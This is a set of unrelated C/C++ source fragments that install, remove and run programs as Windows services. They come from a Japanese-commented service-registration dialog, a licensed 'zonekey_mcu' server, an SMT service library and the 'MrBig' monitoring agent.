ERROR_HEADER, MB_OK); } return 0; }
// // ダイアログメッセージ処理 // BOOL APIENTRY MainFunc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) { HWND h; HDROP hDrop; OPENFILENAME ofn; HICON hicon; TCHAR temp[MAX_PATH]; TCHAR *ext; switch(message) { case WM_INITDIALOG: // アイコンをセット if(hicon = LoadIcon(h_instance, MAKEINTRESOURCE(IDI_ICON_SEXE))) { SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hicon); SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hicon); } // 設定値をコントロールにセット h = GetDlgItem(hDlg, IDC_EDIT_EXE); SendMessage(h, EM_LIMITTEXT, MAX_PATH, 0); SetWindowText(h, exe_name); EnableWindow(h, !service_install_flag); h = GetDlgItem(hDlg, IDC_EDIT_OPTION); SendMessage(h, EM_LIMITTEXT, MAX_PATH, 0); SetWindowText(h, option_name); EnableWindow(h, !service_install_flag); h = GetDlgItem(hDlg, IDC_EDIT_NAME); SendMessage(h, EM_LIMITTEXT, MAX_PATH, 0); SetWindowText(h, service_name); EnableWindow(h, !service_install_flag); h = GetDlgItem(hDlg, IDC_EDIT_DESCRIPTION); SendMessage(h, EM_LIMITTEXT, MAX_PATH, 0); SetWindowText(h, description_name); EnableWindow(h, !service_install_flag); h = GetDlgItem(hDlg, IDC_COMBO_END); LoadString(h_instance, IDS_ITEM_CLOSE, temp, MAX_PATH); SendMessage(h, CB_ADDSTRING, 0, (DWORD_PTR)temp); // 2002/6/18 LoadString(h_instance, IDS_ITEM_SYSCOMMAND, temp, MAX_PATH); SendMessage(h, CB_ADDSTRING, 0, (DWORD_PTR)temp); LoadString(h_instance, IDS_ITEM_SYS_CLOSE, temp, MAX_PATH); SendMessage(h, CB_ADDSTRING, 0, (DWORD_PTR)temp); // 2004/8/9 LoadString(h_instance, IDS_ITEM_CTRL_BREAK, temp, MAX_PATH); SendMessage(h, CB_ADDSTRING, 0, (DWORD_PTR)temp); SendMessage(h, CB_SETCURSEL, end_pattern, 0); EnableWindow(h, !service_install_flag); // 2001/11/9 h = GetDlgItem(hDlg, IDC_BUTTON_EXE); EnableWindow(h, !service_install_flag); h = GetDlgItem(hDlg, IDC_BUTTON_TEST); if(service_install_flag) { LoadString(h_instance, IDS_BUTTON_DELETE, temp, MAX_PATH); SetWindowText(h, temp); } // 2004/8/9 h = GetDlgItem(hDlg, IDC_CHECK_AUTO); SendMessage(h, BM_SETCHECK, auto_flag, 0); EnableWindow(h, !service_install_flag); h = GetDlgItem(hDlg, IDC_CHECK_DESKTOP); SendMessage(h, BM_SETCHECK, desktop_flag, 0); EnableWindow(h, !service_install_flag); h = GetDlgItem(hDlg, IDC_CHECK_RETRY); SendMessage(h, BM_SETCHECK, retry_flag, 0); EnableWindow(h, !service_install_flag); break; case WM_COMMAND: switch(LOWORD (wParam)) { case IDOK: // 設定値得る if(!service_install_flag) { h = GetDlgItem(hDlg, IDC_EDIT_NAME); GetWindowText(h, service_name, MAX_PATH); if(service_name[0] == _T('\0')) { // サービス名を指定してください MessageBoxResourceText(hDlg, IDS_ERROR_NO_SERVICE_NAME, NULL, ERROR_HEADER, MB_OK); break; } h = GetDlgItem(hDlg, IDC_EDIT_EXE); GetWindowText(h, exe_name, MAX_PATH); // 2007/12/14 test ext = extract_ext(exe_name); if(exe_name[0] == _T('\0') || (_tcsicmp(ext, _T("exe")) && _tcsicmp(ext, _T("bat")))) { // プログラム名を指定してください MessageBoxResourceText(hDlg, IDS_ERROR_NO_PROGRAM_NAME, NULL, ERROR_HEADER, MB_OK); break; } h = GetDlgItem(hDlg, IDC_EDIT_OPTION); GetWindowText(h, option_name, MAX_PATH); h = GetDlgItem(hDlg, IDC_EDIT_DESCRIPTION); GetWindowText(h, description_name, MAX_PATH); h = GetDlgItem(hDlg, IDC_COMBO_END); end_pattern = (int)SendMessage(h, CB_GETCURSEL, 0, 0); // 2004/8/9 h = GetDlgItem(hDlg, IDC_CHECK_AUTO); auto_flag = (int)SendMessage(h, BM_GETCHECK, 0, 0); h = GetDlgItem(hDlg, IDC_CHECK_DESKTOP); desktop_flag = (int)SendMessage(h, BM_GETCHECK, 0, 0); h = GetDlgItem(hDlg, IDC_CHECK_RETRY); retry_flag = (int)SendMessage(h, BM_GETCHECK, 0, 0); // 設定値を保存 set_inifile(); // サービス %s を登録しますか? if(MessageBoxResourceText(hDlg, IDS_QUESTION_INSTALL, service_name, HEADER, MB_YESNO) == IDYES) { int err; if((err = install_service()) == ERROR_SUCCESS) { // 2001/11/9 // サービス %s を登録しました。サービスとして起動しますか? if(MessageBoxResourceText(hDlg, IDS_QUESTION_INSTALL_START, service_name, HEADER, MB_YESNO) == IDYES) { restart_service(); } } else { if(err == ERROR_SERVICE_EXISTS) { // すでに同名のサービスが登録済みです MessageBoxResourceText(NULL, IDS_ERROR_SAME_SERVICE, NULL, ERROR_HEADER, MB_OK); } else { // サービスに登録できませんでした。\nサービスの権限があるユーザーでログインして実行してください。 MessageBoxResourceText(hDlg, IDS_ERROR_INSTALL_SERVICE, NULL, HEADER, MB_OK); } } } } DestroyWindow(hDlg); break; case IDCANCEL: DestroyWindow(hDlg); break; case IDC_BUTTON_EXE: { TCHAR filter[MAX_PATH]; TCHAR title[MAX_PATH]; int len; // 参照ボタンが押された temp[0] = '\0'; FillMemory(&ofn, sizeof(OPENFILENAME), 0); ofn.lStructSize = sizeof(OPENFILENAME); ofn.hwndOwner = hDlg; ofn.nMaxFile = MAX_PATH; ofn.lpstrFile = temp; // 実行ファイル(*.exe)\0*.exe\0" LoadString(h_instance, IDS_FILE_EXE, filter, MAX_PATH); len = lstrlen(filter); LoadString(h_instance, IDS_FILE_WILD_EXE, filter + len + 1, MAX_PATH - len - 2); len += lstrlen(filter + len + 1); *(filter + len + 2) = '\0'; ofn.lpstrFilter = filter; // 実行ファイルの選択 LoadString(h_instance, IDS_FILE_TITLE, title, MAX_PATH); ofn.lpstrTitle = title; ofn.Flags = OFN_HIDEREADONLY | OFN_FILEMUSTEXIST | OFN_NOCHANGEDIR; if(GetOpenFileName(&ofn)) { ext = extract_ext(temp); if(!_tcsicmp(ext, _T("exe")) || !_tcsicmp(ext, _T("bat"))) { TCHAR name[MAX_PATH]; // .exe ファイルをセット h = GetDlgItem(hDlg, IDC_EDIT_EXE); SetWindowText(h, (LPCTSTR)temp); // サービス名として .exe ファイルの名前をセット extract_name_only(name, temp); h = GetDlgItem(hDlg, IDC_EDIT_NAME); SetWindowText(h, (LPCTSTR)name); } else { // プログラムファイルのみ登録可能です。 MessageBoxResourceText(hDlg, IDS_ERROR_NOT_PROGRAM, NULL, ERROR_HEADER, MB_OK); } } } break; case IDC_BUTTON_TEST: // サービスとしてインストール済み? if(service_install_flag) { // サービス service_name を削除しますか? if(MessageBoxResourceText(hDlg, IDS_QUESTION_UNINSTALL, service_name, HEADER, MB_YESNO) == IDYES) { // サービスから削除 if(remove_service()) { // サービス service_name を削除しました MessageBoxResourceText(hDlg, IDS_UNINSTALL_OK, service_name, HEADER, MB_OK); service_install_flag = FALSE; h = GetDlgItem(hDlg, IDC_EDIT_EXE); EnableWindow(h, TRUE); h = GetDlgItem(hDlg, IDC_EDIT_OPTION); EnableWindow(h, TRUE); h = GetDlgItem(hDlg, IDC_EDIT_NAME); EnableWindow(h, TRUE); h = GetDlgItem(hDlg, IDC_EDIT_DESCRIPTION); EnableWindow(h, TRUE); h = GetDlgItem(hDlg, IDC_COMBO_END); EnableWindow(h, TRUE); // 2001/11/9 h = GetDlgItem(hDlg, IDC_BUTTON_EXE); EnableWindow(h, TRUE); h = GetDlgItem(hDlg, IDC_BUTTON_TEST); // テスト起動(&T) LoadString(h_instance, IDS_BUTTON_TEST, temp, MAX_PATH); SetWindowText(h, temp); // 2004/8/9 h = GetDlgItem(hDlg, IDC_CHECK_AUTO); EnableWindow(h, TRUE); h = GetDlgItem(hDlg, IDC_CHECK_DESKTOP); EnableWindow(h, TRUE); h = GetDlgItem(hDlg, IDC_CHECK_RETRY); EnableWindow(h, TRUE); } else { // サービスから削除できませんでした。\nサービスの権限があるユーザーでログインして実行してください。 MessageBoxResourceText(NULL, IDS_ERROR_UNINSTALL_SERVICE, NULL, ERROR_HEADER, MB_OK); } } } else { TCHAR param[MAX_PATH]; // テスト起動処理 h = GetDlgItem(hDlg, IDC_EDIT_EXE); GetWindowText(h, temp, MAX_PATH); h = GetDlgItem(hDlg, IDC_EDIT_OPTION); GetWindowText(h, param, MAX_PATH); h = GetDlgItem(hDlg, IDC_COMBO_END); execute_program(hDlg, temp, param, (int)SendMessage(h, CB_GETCURSEL, 0, 0)); } break; } break; case WM_DROPFILES: // Drag&Drop で受けたファイル名を取り出す hDrop = (HDROP)wParam; DragQueryFile(hDrop, 0, temp, MAX_PATH); DragFinish(hDrop); if(!service_install_flag) { if(!_tcsicmp(extract_ext(temp), _T("exe"))) { TCHAR name[MAX_PATH]; // .exe ファイルをセット h = GetDlgItem(hDlg, IDC_EDIT_EXE); SetWindowText(h, temp); // サービス名として .exe ファイルの名前をセット extract_name_only(name, temp); h = GetDlgItem(hDlg, IDC_EDIT_NAME); SetWindowText(h, (LPCTSTR)name); } else { // プログラムファイルのみ登録可能です。 MessageBoxResourceText(hDlg, IDS_ERROR_NOT_PROGRAM, NULL, ERROR_HEADER, MB_OK); } } SetForegroundWindow(hDlg); break; case WM_HELP: ShellExecute(hDlg, _T("open"), _T("sexe.chm"), NULL, NULL, SW_SHOW); break; case WM_DESTROY: // 2001/11/9 if(service_stop_flag) { restart_service(); } PostQuitMessage(0); break; default: return FALSE; } return FALSE; }
int main(int argc, char **argv) { _gc = new GlobalConfig; #ifdef WIN32 _verbase = false; if (argc == 2 && strcmp(argv[1], "/install") == 0) { return install_service(argv[0]); } if (argc == 2 && strcmp(argv[1], "/uninstall") == 0) { return uninstall_service(argv[0]); } if (argc == 2 && strcmp(argv[1], "/debug") == 0) { _verbase = true; } // if (argc == 1) // _verbase = true; #if LICENSE int lcs_chk = el_init("zonekey_mcu.lcs"); if (lcs_chk == -1) { fprintf(stderr, "ERR: license check error\n"); return -1; } else if (lcs_chk == -2) { fprintf(stderr, "ERR: license timeout\n"); return -2; } const char *feathers = el_getfeatures(); KVS fs = parse_feathers(feathers); // TODO: 检查是否限制同时启动的数目 ... KVS::const_iterator itf = fs.find("cap_max"); if (itf != fs.end()) { _gc->cap_max = atoi(itf->second.c_str()); if (_gc->cap_max == 0) _gc->cap_max = 1; } #endif // HANDLE env = OpenEvent(EVENT_MODIFY_STATE, 0, GLOBAL_NAME); if (env) { fprintf(stderr, "zonekey_mcu: only one instance running\n"); CloseHandle(env); return -1; } else { env = CreateEvent(0, 0, 0, GLOBAL_NAME); _global_obj = env; if (!_verbase) { SERVICE_TABLE_ENTRY ServiceTable[] = { { SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION)mainp }, { 0, 0 }, }; // 启动服务的控制分派机线程,这个将直到服务结束后,返回 StartServiceCtrlDispatcher(ServiceTable); return 0; } else { mainp(argc, argv); return 0; } } #else // // linux mainp(argc, argv); return 0; #endif // }
/* ---------------------------------------------------------------------[<]- Function: service_begin Synopsis: depending on arguments (from the command line): -i: install service (windows) -u: remove service (windows) -d: runs service in console mode (windows) -h: basic help information (windows) -d: runs service in background (UNIX / Linux) if no arguments, the service is actually started. NOTE: with Windows, the working directory is set to the one where the binary program stands. Returns: 0 is everything is OK, negative error code otherwise ---------------------------------------------------------------------[>]-*/ int service_begin ( int argc, char **argv, SMT_AGENTS_INIT_FCT *init_fct, SMT_AGENTS_TERM_FCT *term_fct, const char *appl_version) { int action; int rc = 0; #if (defined(WIN32)) static char buffer [LINE_MAX]; char *p_char; SERVICE_TABLE_ENTRY dispatch_table [] = { { NULL, (LPSERVICE_MAIN_FUNCTION) service_main }, { NULL, NULL } }; /* Change to the correct working directory, where config file stands */ GetModuleFileName (NULL, buffer, LINE_MAX); if ((p_char = strrchr (buffer, '\\')) != NULL) *p_char = '\0'; SetCurrentDirectory (buffer); #endif rc = init_resources (argv[0], appl_version, init_fct, term_fct); if (rc != 0) return (1); ASSERT (application_config); /* init_resources post condition */ if (load_service_config (application_config) != 0) { free_resources (); return (1); } ASSERT (service_trace_file); /* load_service_config postcondition */ console_set_mode (CONSOLE_DATETIME); console_capture (service_trace_file, 'a'); #if (defined(WIN32)) dispatch_table [0].lpServiceName = service_name; win_version = get_windows_version (); #endif action = parse_command_line (argc, argv); if (action == ACTION_HELP) { puts (USAGE); } #if (defined(WIN32)) else if (action == ACTION_INSTALL) { if (win_version == WINDOWS_95) set_win95_service (TRUE); else install_service (); } else if (action == ACTION_UNINSTALL) { if (win_version == WINDOWS_95) set_win95_service (FALSE); else remove_service (); } else if (action == ACTION_CONSOLE) { console_mode = TRUE; console_service (argc, argv); } else if (action == ACTION_NOARG) { console_send (NULL, FALSE); if (win_version == WINDOWS_95) { hide_window (); console_mode = TRUE; console_service (argc, argv); } else if (win_version == WINDOWS_NT_3X || win_version == WINDOWS_NT_4 || win_version == WINDOWS_2000) { log_printf ("%s: initialising service ...", application_name); if (!StartServiceCtrlDispatcher (dispatch_table)) add_to_message_log ("StartServiceCtrlDispatcher failed"); } } #elif (defined(__UNIX__)) else if (action == ACTION_BACKGROUND) { const char *background_args [] = { "-s", NULL }; log_printf ("Moving into the background"); if (process_server (NULL, NULL, argc, argv, background_args) != 0) { log_printf ("Backgrounding failed. Giving up."); rc = -1; } else action = ACTION_NOARG; } if (action == ACTION_NOARG) { rc = smt_init (); if (!rc && (init_fct != NULL)) rc = (*init_fct)(application_config); if (!rc) smt_exec_full (); if (term_fct != NULL) (*term_fct)(); smt_term (); } #endif else if (action == ACTION_ERROR) puts (USAGE); free_resources (); return rc; }
int main(int argc, char **argv) { int i; char *p; startup_log("main()"); dirsep = '\\'; GetModuleFileName(NULL, cfgdir, sizeof cfgdir); startup_log("cfgdir = '%s'", cfgdir); p = strrchr(cfgdir, dirsep); if (p) *p = '\0'; cfgfile[0] = '\0'; snprcat(cfgfile, sizeof cfgfile, "%s%c%s", cfgdir, dirsep, "mrbig.cfg"); startup_log("cfgfile = '%s'", cfgfile); startup_log("SystemRoot = '%s'", getenv("SystemRoot")); for (i = 1; i < argc; i++) { if (!strcmp(argv[i], "-c")) { i++; if (argv[i] == NULL) { fprintf(stderr, "No cfg file\n"); return EXIT_FAILURE; } } else if (!strcmp(argv[i], "-d")) { debug++; } else if (!strcmp(argv[i], "-m")) { debug_memory = 1; } else if (!strncmp(argv[i], "-i", 2)) { if (argv[i][2] == '\0') { install_service("MrBig", "Mr Big Monitoring Agent"); } else { install_service(argv[i]+2, argv[i]+2); } return 0; } else if (!strncmp(argv[i], "-u", 2)) { if (argv[i][2] == '\0') { delete_service("MrBig"); } else { delete_service(argv[i]+2); } return 0; } else if (!strcmp(argv[i], "-t")) { standalone = 1; } else { fprintf(stderr, "Bogus option '%s'\n", argv[i]); usage(); } } if (standalone) { mrbig(); return 0; } startup_log("We want to become a service"); service_main(argc, argv); dump_chunks(); check_chunks("just before exit"); dump_files(); return 0; }